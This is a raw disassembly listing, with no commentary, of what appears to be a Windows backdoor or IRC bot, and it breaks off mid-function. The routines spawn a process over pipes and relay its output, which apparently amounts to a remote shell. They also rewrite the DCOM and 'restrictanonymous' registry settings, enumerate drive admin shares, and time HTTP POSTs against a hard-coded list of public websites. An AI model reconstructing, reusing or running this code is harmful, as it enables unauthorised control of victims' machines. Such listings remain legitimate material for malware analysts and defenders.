arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DDFC0 loc_41A2D6: ; CODE XREF: sub_41A2BE+79j ; sub_41A2BE+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DDFB4 call dword_428190 ; PeekNamedPipe test eax, eax jz loc_41A3A4 cmp [ebp+var_4], edi jnz short loc_41A339 lea eax, [ebp+var_8] push eax push dword_4DDFB0 call dword_42818C ; GetExitCodeProcess test eax, eax jz short loc_41A32F cmp [ebp+var_8], 103h jnz loc_41A3C8 loc_41A32F: ; CODE XREF: sub_41A2BE+62j push 0Ah call dword_428064 ; Sleep jmp short loc_41A2D6 ; --------------------------------------------------------------------------- loc_41A339: ; CODE XREF: sub_41A2BE+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A350 loc_41A340: ; CODE XREF: sub_41A2BE+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A39E inc eax cmp eax, [ebp+var_4] jb short loc_41A340 loc_41A350: ; CODE XREF: sub_41A2BE+80j mov [ebp+var_4], esi loc_41A353: ; CODE XREF: sub_41A2BE+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DDFB4 call dword_4280E8 ; ReadFile test eax, eax jz short loc_41A3F0 lea eax, [ebp+var_20C] push eax push ebx push dword_4DDFF4 call sub_41A237 add esp, 0Ch jmp loc_41A2D6 ; --------------------------------------------------------------------------- loc_41A39E: ; CODE XREF: sub_41A2BE+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A3A4: ; CODE XREF: sub_41A2BE+45j push offset unk_43C640 push ebx push dword_4DDFF4 call sub_41A237 push [ebp+arg_0] call sub_40B2A3 add esp, 10h push 1 call dword_4280CC ; ExitThread loc_41A3C8: ; CODE XREF: sub_41A2BE+6Bj call sub_41A1CF push offset unk_43C618 push ebx push dword_4DDFF4 call sub_41A237 push [ebp+arg_0] call sub_40B2A3 add esp, 10h push edi call dword_4280CC ; ExitThread loc_41A3F0: ; CODE XREF: sub_41A2BE+C3j push offset unk_43C5E8 push ebx push dword_4DDFF4 call sub_41A237 push [ebp+arg_0] call sub_40B2A3 add esp, 10h push edi call dword_4280CC ; ExitThread sub_41A2BE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A413 proc near ; CODE XREF: sub_401B66+2437p ; sub_4161D7+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_41A1CF xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_436228 push esi call dword_4CDD1C ; SearchPathA test eax, eax jz loc_41A50D lea eax, [ebp+var_1C] mov edi, dword_428100 push esi push eax lea eax, [ebp+var_C] xor ebx, ebx push eax lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41A50D lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41A50D mov edi, dword_4280FC push 3 push esi push esi push offset dword_4DDFB8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_4280F8 ; DuplicateHandle test eax, eax jz short loc_41A50D push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BD60 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BD60 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43FE14 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_428070 ; CreateProcessA test eax, eax jnz short loc_41A515 loc_41A50D: ; CODE XREF: sub_41A413+2Fj ; sub_41A413+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A5C3 ; --------------------------------------------------------------------------- loc_41A515: ; CODE XREF: sub_41A413+F8j push [ebp+var_4] mov edi, dword_42806C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DDFB4, eax mov eax, [ebp+var_8] mov dword_4DDFBC, eax mov eax, [ebp+var_2C] mov dword_4DDFB0, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DDFF4, eax jz short loc_41A54F push [ebp+arg_4] jmp short loc_41A550 ; --------------------------------------------------------------------------- loc_41A54F: ; CODE XREF: sub_41A413+135j push ebx loc_41A550: ; CODE XREF: sub_41A413+13Aj push offset dword_4DDFC0 call sub_41C056 pop ecx pop ecx push esi push 0Ah push offset unk_43C6A4 call sub_40AF8D mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_440BA0[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A2BE push esi push esi call dword_42807C ; CreateThread cmp eax, esi mov dword_440BAC[edi], eax jnz short loc_41A5C1 call dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_43C670 push eax call sub_41C056 lea eax, [ebp+var_378] push eax call sub_4157A5 add esp, 10h loc_41A5C1: ; CODE XREF: sub_41A413+185j xor eax, eax loc_41A5C3: ; CODE XREF: sub_41A413+FDj pop edi pop esi pop ebx leave retn sub_41A413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5C8 proc near ; DATA XREF: sub_401B66+2DC4o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A60F call sub_41A628 jmp short loc_41A614 ; --------------------------------------------------------------------------- loc_41A60F: ; CODE XREF: sub_41A5C8+3Ej call sub_41A94E loc_41A614: ; CODE XREF: sub_41A5C8+45j add esp, 10h push [ebp+var_14] call sub_40B2A3 pop ecx push 0 call dword_4280CC ; ExitThread sub_41A5C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A628 proc near ; CODE XREF: sub_41A5C8+40p ; sub_41AC6A+8p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CDD30, edi jnz loc_41A75A lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CDCD4 ; RegOpenKeyExA test eax, eax jnz short loc_41A6B3 mov ax, word_43B3F0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CDC88 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A69B push offset dword_43C944 jmp short loc_41A6A0 ; --------------------------------------------------------------------------- loc_41A69B: ; CODE XREF: sub_41A628+6Aj push offset dword_43C924 loc_41A6A0: ; CODE XREF: sub_41A628+71j push eax call sub_41C056 pop ecx pop ecx push [ebp+var_4] call dword_4CDC40 ; RegCloseKey jmp short loc_41A6C6 ; --------------------------------------------------------------------------- loc_41A6B3: ; CODE XREF: sub_41A628+36j lea eax, [ebp+var_214] push offset dword_43C8F4 push eax call sub_41C056 pop ecx pop ecx loc_41A6C6: ; CODE XREF: sub_41A628+89j cmp [ebp+arg_C], edi jnz short loc_41A6E5 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41A6E5: ; CODE XREF: sub_41A628+A1j lea eax, [ebp+var_214] push eax call sub_4157A5 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CDCD4 ; RegOpenKeyExA test eax, eax jnz short loc_41A753 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CDC88 ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A73B push offset dword_43C8A4 jmp short loc_41A740 ; --------------------------------------------------------------------------- loc_41A73B: ; CODE XREF: sub_41A628+10Aj push offset dword_43C870 loc_41A740: ; CODE XREF: sub_41A628+111j push eax call sub_41C056 pop ecx pop ecx push [ebp+var_4] call dword_4CDC40 ; RegCloseKey jmp short loc_41A76D ; --------------------------------------------------------------------------- loc_41A753: ; CODE XREF: sub_41A628+E2j push offset dword_43C834 jmp short loc_41A75F ; --------------------------------------------------------------------------- loc_41A75A: ; CODE XREF: sub_41A628+13j push offset dword_43C804 loc_41A75F: ; CODE XREF: sub_41A628+130j lea eax, [ebp+var_214] push eax call sub_41C056 pop ecx pop ecx loc_41A76D: ; CODE XREF: sub_41A628+129j cmp [ebp+arg_C], edi jnz short loc_41A78C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41A78C: ; CODE XREF: sub_41A628+148j lea eax, [ebp+var_214] push eax call sub_4157A5 cmp dword_4CDD58, edi pop ecx jnz loc_41A909 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A7AF: ; CODE XREF: sub_41A628+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CDBA8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A84E cmp eax, 0EAh jz short loc_41A84E xor esi, esi loc_41A7DD: ; CODE XREF: sub_41A628+21Fj push off_43C6CC[esi] push edi call sub_41944C pop ecx pop ecx push off_43C6CC[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A802 push offset dword_43C7E0 jmp short loc_41A807 ; --------------------------------------------------------------------------- loc_41A802: ; CODE XREF: sub_41A628+1D1j push offset dword_43C7B4 loc_41A807: ; CODE XREF: sub_41A628+1D8j push 200h push eax call sub_41C150 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A834 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41A834: ; CODE XREF: sub_41A628+1F0j lea eax, [ebp+var_214] push eax call sub_4157A5 add esi, 8 pop ecx cmp esi, 20h jb short loc_41A7DD jmp loc_41A8E6 ; --------------------------------------------------------------------------- loc_41A84E: ; CODE XREF: sub_41A628+1AAj ; sub_41A628+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_41A8DD loc_41A85D: ; CODE XREF: sub_41A628+2B1j mov edi, [esi] push edi call sub_41E017 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A8D2 push edi call sub_419339 push eax push 0 call sub_41944C add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A892 push offset dword_43C790 jmp short loc_41A897 ; --------------------------------------------------------------------------- loc_41A892: ; CODE XREF: sub_41A628+261j push offset dword_43C764 loc_41A897: ; CODE XREF: sub_41A628+268j push 200h push eax call sub_41C150 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A8C5 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41A8C5: ; CODE XREF: sub_41A628+281j lea eax, [ebp+var_214] push eax call sub_4157A5 pop ecx loc_41A8D2: ; CODE XREF: sub_41A628+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A85D xor edi, edi loc_41A8DD: ; CODE XREF: sub_41A628+22Fj push [ebp+var_8] call dword_4CDCF4 loc_41A8E6: ; CODE XREF: sub_41A628+221j cmp [ebp+var_10], 0EAh jz loc_41A7AF lea eax, [ebp+var_214] push offset dword_43C73C push eax call sub_41C056 pop ecx pop ecx pop ebx jmp short loc_41A91C ; --------------------------------------------------------------------------- loc_41A909: ; CODE XREF: sub_41A628+177j lea eax, [ebp+var_214] push offset dword_43C70C push eax call sub_41C056 pop ecx pop ecx loc_41A91C: ; CODE XREF: sub_41A628+2DFj cmp [ebp+arg_C], edi jnz short loc_41A93A push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41A93A: ; CODE XREF: sub_41A628+2F7j lea eax, [ebp+var_214] push eax call sub_4157A5 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_41A628 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A94E proc near ; CODE XREF: sub_41A5C8:loc_41A60Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CDD30, ebx push esi jnz loc_41AA7C lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CDCD4 ; RegOpenKeyExA test eax, eax jnz short loc_41A9D9 mov ax, word_43B434 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CDC88 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41A9C1 push offset dword_43CABC jmp short loc_41A9C6 ; --------------------------------------------------------------------------- loc_41A9C1: ; CODE XREF: sub_41A94E+6Aj push offset dword_43CAA0 loc_41A9C6: ; CODE XREF: sub_41A94E+71j push eax call sub_41C056 pop ecx pop ecx push [ebp+var_4] call dword_4CDC40 ; RegCloseKey jmp short loc_41A9EC ; --------------------------------------------------------------------------- loc_41A9D9: ; CODE XREF: sub_41A94E+36j lea eax, [ebp+var_220] push offset dword_43C8F4 push eax call sub_41C056 pop ecx pop ecx loc_41A9EC: ; CODE XREF: sub_41A94E+89j cmp [ebp+arg_C], ebx jnz short loc_41AA0B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41AA0B: ; CODE XREF: sub_41A94E+A1j lea eax, [ebp+var_220] push eax call sub_4157A5 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CDCD4 ; RegOpenKeyExA test eax, eax jnz short loc_41AA75 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CDC88 ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41AA5D push offset dword_43CA60 jmp short loc_41AA62 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A94E+106j push offset dword_43CA28 loc_41AA62: ; CODE XREF: sub_41A94E+10Dj push eax call sub_41C056 pop ecx pop ecx push [ebp+var_4] call dword_4CDC40 ; RegCloseKey jmp short loc_41AA8F ; --------------------------------------------------------------------------- loc_41AA75: ; CODE XREF: sub_41A94E+E2j push offset dword_43C9EC jmp short loc_41AA81 ; --------------------------------------------------------------------------- loc_41AA7C: ; CODE XREF: sub_41A94E+13j push offset dword_43C804 loc_41AA81: ; CODE XREF: sub_41A94E+12Cj lea eax, [ebp+var_220] push eax call sub_41C056 pop ecx pop ecx loc_41AA8F: ; CODE XREF: sub_41A94E+125j cmp [ebp+arg_C], ebx jnz short loc_41AAAE push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41AAAE: ; CODE XREF: sub_41A94E+144j lea eax, [ebp+var_220] push eax call sub_4157A5 cmp dword_4CDD58, ebx pop ecx jnz loc_41AC25 push edi xor esi, esi mov edi, 200h loc_41AACF: ; CODE XREF: sub_41A94E+1EEj push dword_43C6D0[esi] push off_43C6CC[esi] push ebx call sub_4193A0 add esp, 0Ch push off_43C6CC[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_41AAFB push offset dword_43C9CC jmp short loc_41AB00 ; --------------------------------------------------------------------------- loc_41AAFB: ; CODE XREF: sub_41A94E+1A4j push offset dword_43C9A4 loc_41AB00: ; CODE XREF: sub_41A94E+1ABj push edi push eax call sub_41C150 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41AB29 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41AB29: ; CODE XREF: sub_41A94E+1BFj lea eax, [ebp+var_220] push eax call sub_4157A5 add esi, 8 pop ecx cmp esi, 10h jb short loc_41AACF call dword_428194 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41AC0D loc_41AB51: ; CODE XREF: sub_41A94E+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41AC02 cmp bl, 41h jz loc_41AC02 movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C150 push esi push offset aC_1 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41C150 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4CDCC4 ; GetDriveTypeA cmp eax, 3 jnz short loc_41AC02 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4193A0 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41ABC6 push offset dword_43C9CC jmp short loc_41ABCB ; --------------------------------------------------------------------------- loc_41ABC6: ; CODE XREF: sub_41A94E+26Fj push offset dword_43C9A4 loc_41ABCB: ; CODE XREF: sub_41A94E+276j push edi push eax call sub_41C150 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41ABF5 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41ABF5: ; CODE XREF: sub_41A94E+28Bj lea eax, [ebp+var_220] push eax call sub_4157A5 pop ecx loc_41AC02: ; CODE XREF: sub_41A94E+20Bj ; sub_41A94E+214j ... inc bl shr [ebp+var_4], 1 jnz loc_41AB51 loc_41AC0D: ; CODE XREF: sub_41A94E+1FDj lea eax, [ebp+var_220] push offset dword_43C974 push eax call sub_41C056 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41AC38 ; --------------------------------------------------------------------------- loc_41AC25: ; CODE XREF: sub_41A94E+173j lea eax, [ebp+var_220] push offset dword_43C70C push eax call sub_41C056 pop ecx pop ecx loc_41AC38: ; CODE XREF: sub_41A94E+2D5j cmp [ebp+arg_C], ebx jnz short loc_41AC56 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h loc_41AC56: ; CODE XREF: sub_41A94E+2EDj lea eax, [ebp+var_220] push eax call sub_4157A5 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_41A94E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41AC6A proc near ; CODE XREF: sub_41AC6A+1Cj ; DATA XREF: sub_401252+428o push 1 push 0 push 0 push 0 call sub_41A628 add esp, 10h push dword_43C6C8 call dword_428064 ; Sleep jmp short sub_41AC6A sub_41AC6A endp ; =============== S U B R O U T I N E ======================================= sub_41AC88 proc near ; CODE XREF: sub_41AE7F+CBp ; sub_41AE7F+DDp ... arg_0 = dword ptr 4 call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx call sub_41C0B2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AC88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACA2 proc near ; CODE XREF: sub_41AE7F+D4p ; sub_41AE7F+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B7B0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AE7B push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BD60 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AA04 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AE7B push 50h call dword_4CDC64 ; ntohs push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CDCE4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AE7B lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CDC0C ; connect cmp eax, 0FFFFFFFFh jz loc_41AE7B push 32003h call sub_41D795 mov edi, dword_4280A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41C0A8 call sub_41C0B2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BD60 push 32000h push esi push ebx call sub_41BD60 push ebx call sub_41B7B0 push 323EAh mov ebx, eax call sub_41D795 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C056 push [ebp+var_8] push esi call sub_41C690 push offset asc_436514 ; "\r\n" push esi call sub_41C690 add esp, 40h push esi call sub_41B7B0 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41ADF9 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41ADC9 ; --------------------------------------------------------------------------- loc_41ADC6: ; CODE XREF: sub_41ACA2+155j mov eax, [ebp+arg_0] loc_41ADC9: ; CODE XREF: sub_41ACA2+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax add eax, esi cmp ecx, ebx jnb short loc_41ADDB push [ebp+var_C] jmp short loc_41ADDC ; --------------------------------------------------------------------------- loc_41ADDB: ; CODE XREF: sub_41ACA2+132j push ebx loc_41ADDC: ; CODE XREF: sub_41ACA2+137j push eax push [ebp+var_4] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jz short loc_41AE62 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41ADC6 loc_41ADF9: ; CODE XREF: sub_41ACA2+118j call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_428714 fst [ebp+arg_0] fcomp flt_428710 fnstsw ax test ah, 44h jp short loc_41AE23 fld1 fstp [ebp+arg_0] loc_41AE23: ; CODE XREF: sub_41ACA2+17Aj push [ebp+var_4] call dword_4CDCFC ; closesocket push [ebp+var_8] call sub_41B881 push esi call sub_41B881 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42870C fmul flt_428708 call sub_41CF68 loc_41AE5D: ; CODE XREF: sub_41ACA2+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AE62: ; CODE XREF: sub_41ACA2+147j push [ebp+var_4] call dword_4CDCFC ; closesocket push [ebp+var_8] call sub_41B881 push esi call sub_41B881 pop ecx pop ecx loc_41AE7B: ; CODE XREF: sub_41ACA2+19j ; sub_41ACA2+42j ... xor eax, eax jmp short loc_41AE5D sub_41ACA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE7F proc near ; CODE XREF: sub_401B66+2E19p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AC88 push [ebp+eax*4+var_3C] call sub_41ACA2 push 8 mov esi, eax call sub_41AC88 push [ebp+eax*4+var_3C] call sub_41ACA2 add esp, 10h test esi, esi jz short loc_41AF80 test eax, eax jz short loc_41AF7C lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41AF82 ; --------------------------------------------------------------------------- loc_41AF7C: ; CODE XREF: sub_41AE7F+F4j mov ebx, esi jmp short loc_41AF82 ; --------------------------------------------------------------------------- loc_41AF80: ; CODE XREF: sub_41AE7F+F0j mov ebx, eax loc_41AF82: ; CODE XREF: sub_41AE7F+FBj ; sub_41AE7F+FFj push 0Ch call sub_41AC88 push [ebp+eax*4+var_6C] call sub_41ACA2 push 0Ch mov edi, eax call sub_41AC88 push [ebp+eax*4+var_6C] call sub_41ACA2 add esp, 10h test edi, edi jz short loc_41AFBA test eax, eax jz short loc_41AFB6 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AFBC ; --------------------------------------------------------------------------- loc_41AFB6: ; CODE XREF: sub_41AE7F+12Ej mov esi, edi jmp short loc_41AFBC ; 